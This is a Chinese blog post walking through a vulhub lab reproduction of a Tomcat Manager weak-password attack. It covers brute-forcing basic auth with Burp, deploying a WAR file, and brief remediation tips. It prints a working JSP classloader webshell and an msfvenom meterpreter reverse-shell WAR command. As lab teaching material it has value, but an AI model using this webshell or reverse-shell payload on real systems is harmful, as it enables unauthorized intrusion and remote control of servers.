tomcat弱口令后台getshell漏洞复现
漏洞描述
tomcat
是一个用于快速部署jsp
网站的中间件
tomcat默认的管理页面manager
使用basic认证
用户名密码登录,可以使用burp
进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml
文件中的默认用户名密码tomcat:tomcat
,可以登录管理后台,在部署war
包后tomcat默认会将war
包中的项目部署,由于可以任意的上传,所以我们可以将jsp
文件打包为一个war
文件上传getshell
tomcat
默认目录解析
bin
: 存放启动和关闭tomcat服务的可执行文件,例如.bat .exe .sh
catalina.sh
: 主要用于启动和管理tomcat服务器startup.sh
: 启动tomcat服务shutdown.sh
: 关闭tomcat服务configtest.sh
: 检查配置文件conf
: 存放配置文件server.xml
: 全局配置文件web.xml
: 控制tomcat支持的文件类型tomcat-users.xml
: tomcat用户配置文件
lib
: 各种jar
文件,tomcat库文件logs
: 日志文件webapps
: Web应用程序目录,其中可能默认还有以下目录examples
: 该目录是一个tomcat部署的一个默认项目,其中会展示tomcat的功能ROOT
: 是Web服务的默认目录,例如在访问http://localhost:8080/
目录时,默认访问呢就是该目录的文件manager
: tomcat的管理应用,用于远程部署、启动、停止和卸载Web应用。这个应用通常需要管理员权限才能访问,该页面的用户配置文件由conf/tomcat-users.xml
配置host-manager
: 管理虚拟主机,需要管理员权限
这里只做简单了解。
漏洞利用
使用vulhub
进行漏洞复现
cd vulhub/tomcat/tomcat8
sudo docker-compose up -d
该漏洞场景是部署没有修改的配置文件tomcat-users.xml
,其中用户名和密码都是tomcat
,这里我们为了学习更多的方法,采用burp
尝试爆破basic
认证
点击mananger app
或者直接访问manager
目录,会提示登录,这里随便输入使用burp
抓包提交
发送到爆破模块
将YWRtaW46YWRtaW4=
进行base64
解码
所以这里需要添加三个参数并且拼接到一起,这是最好的方式是使用自定义迭代
的方法
格式为: 用户名
、:
、密码
,然后提交的时候进行base64
加密,这里我们使用默认模式sniper(狙击手)
配置每个位置的值,注意这里每个用户名变量都使用自定义迭代器
第一个就是用户名变量,由于这里我们知道用户和密码,只是做一些爆破测试,手动加入一些常见的用户名,选择位置为1
第二个变量是用户名和密码的分解符,所以直接加入:
即可,选择位置2
第三个变量是密码变量,手动加入一些密码测试爆破,选择位置3
取消默认将参数值进行url
编码
最后进行base64
编码
最后开始爆破
通过状态码为200
表示爆破成功,我们进行base64
解密后台用户名密码就是tomcat:tomcat
接着我们访问并登录后台找到上传war
文件位置
这是需要执着一个war
的包,可以自己手动打包,jsp
一句话木马代码如下,密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用jar cvf test.war test.jsp
打包
将该test.war
上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的test.jsp
放到目录中,所以只需要访问test/test.jsp
即可
访问成功,空白页面
使用蚁剑连接
额外的技巧,使用msfvenom
也可以生成war
后门文件,如下
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war
上传后只需要启动msfconsole
然后use multi/handler
,设置payload
和相关参数,可以获得一个更强的meterpreter shell
感兴趣可以手动尝试。
漏洞修复建议
- 将
conf/tomcat-users.xml
中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器 - 将
manager
目录下的功能暂时关闭,需要的时候打开
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
2022-04-08 文件上传 upload-labs Pass 12-16